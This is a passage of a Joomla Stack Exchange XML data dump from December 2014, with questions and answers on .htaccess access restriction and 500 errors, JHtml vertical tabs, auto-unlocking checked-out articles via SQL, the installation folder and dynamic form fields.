gone.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="2308" LastEditDate="2014-12-08T02:25:50.247" LastActivityDate="2014-12-08T02:41:29.550" Title="Passing other variables in my view's edit form" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5584" PostTypeId="2" ParentId="5583" CreationDate="2014-12-08T02:41:29.550" Score="2" Body="&lt;p&gt;Honest mistake. I was editing the wrong controller file. It should be the controller/subscriptionsform.php not subscriptions.php&lt;/p&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2014-12-08T02:41:29.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5585" PostTypeId="1" CreationDate="2014-12-08T05:44:22.977" Score="3" ViewCount="152" Body="&lt;p&gt;I have joomla 2.5.4 website for registered users configured with LDAP. I have copied a video in the images folder and i want to give the link to the clients. Obviously if i place the url in the browser it will open the video directly but i want that if the users place the url in the browser, it should take them to the login page/it should ask for credentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions will be highly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1727" LastActivityDate="2014-12-08T12:49:55.763" Title="Video link should prompt for login page" Tags="|joomla-2.5|login|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5586" PostTypeId="2" ParentId="5585" CreationDate="2014-12-08T07:50:50.220" Score="4" Body="&lt;p&gt;index.php file of joomla does not get executed when you access any media.&#xA;So Joomla does not get control when direct media(images etc) link is provided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you are expecting that joomla will trigger something or give control before serving the content then this will not happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do in this case is rather then providing a direct link of the media, provide some joomla url with the requested resource (it could be anything like www.yoursite.com?view=xx&amp;amp;task=XX&amp;amp;media_url=MEDIA_URL) to user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a plugin which will work on &lt;code&gt;onAfterRoute&lt;/code&gt; event, catch this url and check whether the requested resource needs login or not.&#xA;If the requested resource is allowed to access then serve the content.&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2014-12-08T07:50:50.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5587" PostTypeId="2" ParentId="5585" CreationDate="2014-12-08T12:49:55.763" Score="3" Body="&lt;p&gt;Here's a couple of options to achieve what you're trying to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Give your clients a link to an &lt;em&gt;article&lt;/em&gt; containing the video, rather than directly to the video. That way you can set the required access level, and if not logged in, the user will be told to log in.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a plugin called &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-access/content-restriction/25829&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Content Filter&lt;/strong&gt;&lt;/a&gt;, that allows you to display different content in your articles based on user login. Then add something like this in your article (after configuring the plugin):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{f90filter REGISTERED SHOW}&#xA;Display your media here using any method you like (e.g. AllVideos plugin).&#xA;This is not visible to guests&#xA;{/f90filter}&#xA;&#xA;{f90filter REGISTERED HIDE}&#xA;Create a link to the login page here, or display the login module directly using&#xA;{loadposition}. This will not be visible to logged-in users.&#xA;{/f90filter}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;code&gt;.htaccess&lt;/code&gt; to restrict access to a specific file by following these steps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a text file called &lt;code&gt;.htpasswd&lt;/code&gt; and make sure it's &lt;strong&gt;not&lt;/strong&gt; inside your public HTML directory.&lt;/li&gt;&#xA;&lt;li&gt;Using a &lt;a href=&quot;http://www.4webhelp.net/us/password.php&quot; rel=&quot;nofollow&quot;&gt;password generation tool&lt;/a&gt;, create a list of usernames and encrypted passwords that will have access to your file(s). Put this info into your &lt;code&gt;.htpasswd&lt;/code&gt; file.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Put the following code in your &lt;code&gt;.htaccess&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AuthUserFile /path/to/htpasswd/file/.htpasswd&#xA;AuthName &quot;My media file&quot;&#xA;AuthType Basic&#xA;&amp;lt;Files &quot;images/yourmediafile.mp4&quot;&amp;gt;&#xA;  require valid-user&#xA;&amp;lt;/Files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;Using this option Joomla will &lt;em&gt;not&lt;/em&gt; be used to display the file or authenticate the user. A pop-up message will be displayed asking for username and password.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-08T12:49:55.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5588" PostTypeId="1" AcceptedAnswerId="5595" CreationDate="2014-12-08T14:55:54.567" Score="6" ViewCount="16588" Body="&lt;p&gt;I'm getting 500 errors showing on my site after renaming htaccess.txt to .htaccess&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="1629" LastEditDate="2014-12-08T19:09:55.110" LastActivityDate="2017-07-07T08:48:24.260" Title="500 Internal Server Error after renaming htaccess.txt to .htaccess" Tags="|.htaccess-configuration|error-handling|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5589" PostTypeId="2" ParentId="5588" CreationDate="2014-12-08T14:55:54.567" Score="1" Body="&lt;p&gt;To resolve the issue, on line 19 of the file, I replaced &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options +FollowSymLinks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Options +FollowSymLinks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastEditorUserId="64" LastEditDate="2014-12-08T15:09:19.897" LastActivityDate="2014-12-08T15:09:19.897" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5590" PostTypeId="1" AcceptedAnswerId="5592" CreationDate="2014-12-08T15:06:36.217" Score="3" ViewCount="1317" Body="&lt;p&gt;I have a site where I need to display a module based on the URL which the user has typed into their browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the user types in thisdomain.co.uk they will be redirected to thenewdomain.co.uk/camps where I want a pop up/lightbox to be shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they land directly on thenewdomain.co.uk/camps the pop up should not be shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done through jQuery or PHP and how can I load the module based on this?&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2014-12-08T15:29:23.540" LastActivityDate="2014-12-08T17:43:30.517" Title="Show module based on Referer URL" Tags="|php|jquery|module-display|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5592" PostTypeId="2" ParentId="5590" CreationDate="2014-12-08T17:21:54.453" Score="2" Body="&lt;p&gt;You should be able to do it with Nonumber's &lt;strong&gt;Advanced Module Manager&lt;/strong&gt; Pro version, as it allows adding custom PHP to determine if a module will be loaded or not:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nonumber.nl/extensions/advancedmodulemanager/userguide#4_Assignment-options&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.nonumber.nl/extensions/advancedmodulemanager/userguide#4_Assignment-options&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that PHP check, you'd use &lt;code&gt;$_SERVER['HTTP_REFERER'];&lt;/code&gt;. You have an example that involves that variable here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/12948109/return-to-previous-page-in-joomla&quot;&gt;https://stackoverflow.com/questions/12948109/return-to-previous-page-in-joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info about that variable here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/reserved.variables.server.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://php.net/manual/en/reserved.variables.server.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1504" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-12-08T17:43:30.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5593" PostTypeId="1" AcceptedAnswerId="5594" CreationDate="2014-12-08T18:30:57.603" Score="6" ViewCount="1320" Body="&lt;p&gt;Using this standard JHtml code, I can generate &lt;em&gt;Horizontal&lt;/em&gt; tabs (across the top) without problem.  I've been tinkering with the &lt;code&gt;$options&lt;/code&gt; array to set it up, but JHtml seems to have changed a bunch, and I don't seem to be able to find the secret combination of settings to get &lt;em&gt;Vertical&lt;/em&gt; tabs instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z8t83.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JHtml that renders &lt;em&gt;Horizontal&lt;/em&gt; Tabs&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array(&#xA;    'useCookie' =&amp;gt; true, // this must not be a string. Don't use quotes.&#xA;);&#xA;echo JHtml::_('tabs.start', 'tab_group_id', $options);&#xA;echo JHtml::_('tabs.panel', 'Tab Heading 1', 'panel_1_id');&#xA;echo 'Panel 1 content goes here.';&#xA;echo JHtml::_('tabs.panel', 'Tab Heading 2', 'panel_2_id');&#xA;echo 'Panel 2 content goes here.';&#xA;echo JHtml::_('tabs.panel', 'Tab Heading 3', 'panel_3_id');&#xA;echo 'Panel 3 content goes here.';&#xA;echo JHtml::_('tabs.end');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML that renders the desired &lt;em&gt;Vertical&lt;/em&gt; tabs&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;my-panels&quot; class=&quot;tabbable tabs-left&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;nav nav-tabs&quot;&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#panel_1_id&quot; data-toggle=&quot;tab&quot;&amp;gt;Tab Heading 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#panel_2_id&quot; data-toggle=&quot;tab&quot;&amp;gt;Tab Heading 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#panel_3_id&quot; data-toggle=&quot;tab&quot;&amp;gt;Tab Heading 3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;div class=&quot;tab-content&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;tab-pane&quot; id=&quot;panel_1_id&quot;&amp;gt;Some Content1&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;tab-pane&quot; id=&quot;panel_2_id&quot;&amp;gt;Some Content2&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;tab-pane&quot; id=&quot;panel_3_id&quot;&amp;gt;Some Content3&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it something in &lt;code&gt;$options&lt;/code&gt; that has to be set, or is it something else altogether in JHtml that I should be using?&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-12-08T18:40:41.513" LastActivityDate="2014-12-09T00:28:30.447" Title="How can I use JHtml to create Vertical Tabs" Tags="|jhtml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5594" PostTypeId="2" ParentId="5593" CreationDate="2014-12-08T19:00:53.050" Score="2" Body="&lt;p&gt;Firstly, you are using the Joomla 3.0 method for adding tabs. There is a newer method as of Joomla 3.1 which unfortunately is not documented at all apart from the API page.&lt;/p&gt;&#xA;&lt;p&gt;With the new tab method, all you need to do is wrap it round a &lt;code&gt;div&lt;/code&gt; with a specific class like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$options = array(&#xA;    'useCookie' =&amp;gt; true,&#xA;    'active' =&amp;gt; 'tabs_1'&#xA;);&#xA;&#xA;// Start Tabs&#xA;echo '&amp;lt;div class=&amp;quot;tabbable tabs-left&amp;quot;&amp;gt;';&#xA;echo JHtml::_('bootstrap.startTabSet', 'tab_group_id', $options);&#xA;&#xA;// Tab 1&#xA;echo JHtml::_('bootstrap.addTab', 'tab_group_id', 'tabs_1', 'Tab 1');&#xA;echo '&amp;lt;p&amp;gt;Lorem ipsum dolor.&amp;lt;/p&amp;gt;';&#xA;echo JHtml::_('bootstrap.endTab');&#xA;&#xA;// Tab 2&#xA;echo JHtml::_('bootstrap.addTab', 'tab_group_id', 'tabs_2', 'Tab 2');&#xA;echo '&amp;lt;p&amp;gt;Lorem ipsum dolor.&amp;lt;/p&amp;gt;';&#xA;echo JHtml::_('bootstrap.endTab');&#xA;&#xA;// End Tabs&#xA;echo JHtml::_('bootstrap.endTabSet');&#xA;echo '&amp;lt;/div&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Tested and working in Joomla 3.3.6&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;If you wish you style the tabs in some way, shape or form, you can simply add a class to the &lt;code&gt;div&lt;/code&gt; wrapper like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;div class=&amp;quot;tabbable tabs-left gdp-tabs&amp;quot;&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and then to style the &lt;code&gt;a&lt;/code&gt; or &lt;code&gt;li&lt;/code&gt; elements, simply use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.gdp-tabs li {&#xA;   //code here&#xA;}&#xA;.gdp-tabs li a {&#xA;   //code here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-12-09T00:28:30.447" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5595" PostTypeId="2" ParentId="5588" CreationDate="2014-12-08T19:09:02.873" Score="5" Body="&lt;p&gt;Just some additional information on this error, copied right out of the default &lt;code&gt;htaccess.txt&lt;/code&gt; file that comes with Joomla:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# The line just below this section: 'Options +FollowSymLinks' may cause problems&#xA;# with some server configurations.  It is required for use of mod_rewrite, but may already&#xA;# be set by your server administrator in a way that dissallows changing it in&#xA;# your .htaccess file.  If using it causes your server to error out, comment it out (add # to&#xA;# beginning of line), reload your site in your browser and test your sef url's.  If they work,&#xA;# it has been set by your server administrator and you do not need it set here.&#xA;##&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymLinks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another line that might cause errors is the &lt;code&gt;RewriteBase&lt;/code&gt; (home page will work, all links will give a &lt;code&gt;404 Not found&lt;/code&gt; error):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Uncomment following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;# RewriteBase /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line is needed if your Joomla installation is located in a subfolder of your domain. Add the name of the subfolder after the &lt;code&gt;/&lt;/code&gt; (e.g. &lt;code&gt;RewriteBase /joomla&lt;/code&gt;). Note that this is &lt;em&gt;not&lt;/em&gt; needed when Joomla inside a subfolder used as addon domain in cPanel.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-08T19:09:02.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5596" PostTypeId="1" AcceptedAnswerId="5600" CreationDate="2014-12-08T20:23:00.560" Score="11" ViewCount="402" Body="&lt;p&gt;Most of our users don't understand that they should Save or Cancel when they edit their content, thus we constantly have scores of articles and categories that are locked.  I realize that this can be done manually by the administrator, but editing goes on 24/7, and it's rather tedious to constantly go through all the items determining if the edit has been abandoned or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to have the locks timeout somehow?  &lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-12-09T16:21:26.180" Title="Can content items be automatically unlocked after a certain amount of time?" Tags="|content|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5597" PostTypeId="1" AcceptedAnswerId="5601" CreationDate="2014-12-08T20:27:54.747" Score="9" ViewCount="2632" Body="&lt;p&gt;Ever since I started using Joomla (in the mid 1.5 days), the &lt;code&gt;installation&lt;/code&gt; directory must be deleted once Joomla has been successfully installed, but my question is, why must we click a button to delete it? Is there a reason why this is not done automatically?&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-12-09T00:17:33.003" Title="Installing Joomla - Removing installation folder" Tags="|installation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5598" PostTypeId="2" ParentId="5597" CreationDate="2014-12-08T20:55:30.443" Score="0" Body="&lt;p&gt;Because few people may put some files temporarily anywhere like Joomla installation directory and don't want them to be deleted automatically. It may be a rare condition but Joomla should consider all probabilities!&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-12-08T21:08:37.187" LastActivityDate="2014-12-08T21:08:37.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5599" PostTypeId="2" ParentId="5597" CreationDate="2014-12-08T21:05:32.087" Score="2" Body="&lt;p&gt;I can't say I know the answer, but my guess is that it's a last chance to re-run the installation (by deleting &lt;code&gt;configuration.php&lt;/code&gt;) in case something went wrong, the wrong database was used, or for any other reason not caught by the error handling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deleting the folder automatically could cause it to be removed when it shouldn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a chance, as @Farahmand points out, that there are other files in the folder (although there shouldn't be), maybe from other software.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-08T21:05:32.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5600" PostTypeId="2" ParentId="5596" CreationDate="2014-12-08T21:26:15.177" Score="5" Body="&lt;p&gt;You can define an hourly cron job or use phpMyAdmin and execute this SQL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `jos_content` c    SET c.checked_out = 0, c.checked_out_time = 0 WHERE HOUR(TIMEDIFF(CONVERT_TZ(NOW(), @@session.time_zone, '+00:00'), c.checked_out_time)) &amp;gt;= 2;&#xA;UPDATE `jos_categories` c SET c.checked_out = 0, c.checked_out_time = 0 WHERE HOUR(TIMEDIFF(CONVERT_TZ(NOW(), @@session.time_zone, '+00:00'), c.checked_out_time)) &amp;gt;= 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Replace &lt;code&gt;jos&lt;/code&gt; with your table prefix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above SQL check in articles and categories that checked out more than two hours or an hour ago respectively. I assume that an article and a category should be saved within two hours and an hour respectively. You may increase those numbers.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-12-09T06:19:56.250" LastActivityDate="2014-12-09T06:19:56.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5601" PostTypeId="2" ParentId="5597" CreationDate="2014-12-09T00:17:33.003" Score="8" Body="&lt;p&gt;When you're using something that is not a official release (i.e. all the testing packages and the latest staging packages on github) you don't need to remove the install directory (the check is commented out). This means all you need to do is delete configuration.php and you can just start the installation proceedure again. The risk is people could accidental commit the removed install directory, and it just becomes a pain for everyone involved to fix it up.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-12-09T00:17:33.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5602" PostTypeId="1" AcceptedAnswerId="5603" CreationDate="2014-12-09T00:25:40.373" Score="6" ViewCount="1006" Body="&lt;p&gt;Is it possible to set templates at the user level?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not then is there a plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not what can I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is that I want to build a new template for an existing website and see the build on my user account.&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="126" LastEditDate="2015-08-29T18:11:02.550" LastActivityDate="2015-08-29T18:11:02.550" Title="Can templates be set per user?" Tags="|joomla-3.x|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5603" PostTypeId="2" ParentId="5602" CreationDate="2014-12-09T00:54:07.993" Score="2" Body="&lt;p&gt;Rather than working on your live site, you should develop your new template on a copy of your site. Using &lt;a href=&quot;https://www.akeebabackup.com/download/akeeba-backup.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Backup&lt;/a&gt; and &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-kickstart.html&quot; rel=&quot;nofollow&quot;&gt;Kickstart&lt;/a&gt;, it's usually a question of minutes to create an exact copy of your website. It's both safer and easier than working on your live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to test your new template on your live site, you can change it adding &lt;code&gt;?template=youTemplateName&lt;/code&gt; to your url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/index.php?template=youTemplateName&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also try an extension called &quot;&lt;a href=&quot;http://extensions.joomla.org/extensions/style-a-design/templating/7466&quot; rel=&quot;nofollow&quot;&gt;Template Selector&lt;/a&gt;&quot; from JED. It's a module that let's you change between the available templates, and if you set the module &lt;em&gt;Access&lt;/em&gt; parameter to &quot;Super users&quot;, it will only be visible to (super)administrators.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-09T00:54:07.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5604" PostTypeId="1" AcceptedAnswerId="5620" CreationDate="2014-12-09T01:40:27.130" Score="5" ViewCount="2921" Body="&lt;p&gt;I was able to create dynamically the form fields by retrieving them from the database by using this as a guide: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5469/how-can-i-dynamically-generate-a-forms-xml-from-php&quot;&gt;How can I dynamically generate a form&amp;#39;s XML from PHP?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to know on how get and set values for the custom fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also, I want to convert them to JSON format to store in a database field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my current situation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My requirement is to make a form dynamic as possible by means of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding custom fields to the edit form depending on the set-up on the back-end:&#xA;     - On the back end, I have a Reports Table, and then I have a Fields table which has a foreign key associated with Reports. Every time I add an item in the Fields table, i have a toggle column to indicate whether that Field I added will be added as a custom field when choosing a report.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If example I have a Regions field as a line item to a report, when I select the report, I will need to add the custom Regions field as an additional selection.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-12-10T05:44:58.870" Title="How to access / modify custom form fields values" Tags="|joomla-3.x|fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5605" PostTypeId="2" ParentId="5027" CreationDate="2014-12-09T04:49:16.710" Score="2" Body="&lt;p&gt;The solution I used here was to forget about trying to add the field to a preexisting fieldset and add multiple fields to a group instead.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$newfields = array(1, 2, 3, 4, 5)&#xA;$elements = array();&#xA;foreach ($newfields as $field) {&#xA;    $elements[] = new SimpleXMLElement('&amp;lt;field name=&quot;onfly_'.$field.'&quot;&#xA;                                                type=&quot;text&quot;&#xA;                                                label=&quot;onfly_'.$field.'&quot;&#xA;                                                description=&quot;onfly desc&quot;&#xA;                                                class=&quot;inputbox&quot;&#xA;                                                size=&quot;30&quot;&#xA;                                                required=&quot;true&quot; /&amp;gt;');&#xA;}&#xA;$form-&amp;gt;setFields($elements, 'newGroup');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This allowed me to loop through each field in the group to render them all&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($this-&amp;gt;form-&amp;gt;getGroup('newGroup') as $field) { &#xA;    echo $field-&amp;gt;renderField($options);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="132" LastActivityDate="2014-12-09T04:49:16.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5606" PostTypeId="2" ParentId="5027" CreationDate="2014-12-09T05:10:52.563" Score="1" Body="&lt;p&gt;Seems you can not add any new field in any existing fieldset. You need to create a new fieldset in the following format &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$element = new SimpleXMLElement('&amp;lt;fieldset name=&quot;any_name&quot;&amp;gt;&#xA;                                    &amp;lt;field name=&quot;onfly&quot;&#xA;                                          type=&quot;text&quot;&#xA;                                          label=&quot;onfly&quot;&#xA;                                          description=&quot;onfly desc&quot;&#xA;                                          class=&quot;inputbox&quot;&#xA;                                          size=&quot;30&quot;&#xA;                                          required=&quot;true&quot; /&amp;gt;&#xA;                                  &amp;lt;/fieldset&amp;gt;');&#xA;$form-&amp;gt;setField($element);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can multiple &lt;code&gt;field&lt;/code&gt; tag in the same &lt;code&gt;fieldset&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternate way could be (I am not sure) : You can read the xml file, find the fieldset and add children to it. After that, you can load the new xml string into same $form instance. &lt;/p&gt;&#xA;" OwnerUserId="142" LastActivityDate="2014-12-09T05:10:52.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5607" PostTypeId="2" ParentId="5604" CreationDate="2014-12-09T08:45:47.413" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how can I access these fields in my loadFormData() function?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Actually &lt;code&gt;loadFormData()&lt;/code&gt; is used to get the data for the form, but not the form by itself. Why do you need access your custom fields in this method?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how can I modify the values of the custom fields before saving? I want to convert them to JSON format to store in a database field.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;At the top of the file include &lt;code&gt;Registry&lt;/code&gt; class:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;use Joomla\Registry\Registry;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your &lt;code&gt;save()&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($data['custom_field']))&#xA;{&#xA;    $registry = new Registry;&#xA;    $registry-&amp;gt;loadArray($array['custom_field']);&#xA;    $data['custom_field'] = (string) $registry;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$data&lt;/code&gt; is your input data. See my answer to the same question &lt;a href=&quot;https://joomla.stackexchange.com/questions/5026/store-multiple-form-fields-as-json-string&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-12-09T08:51:48.523" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
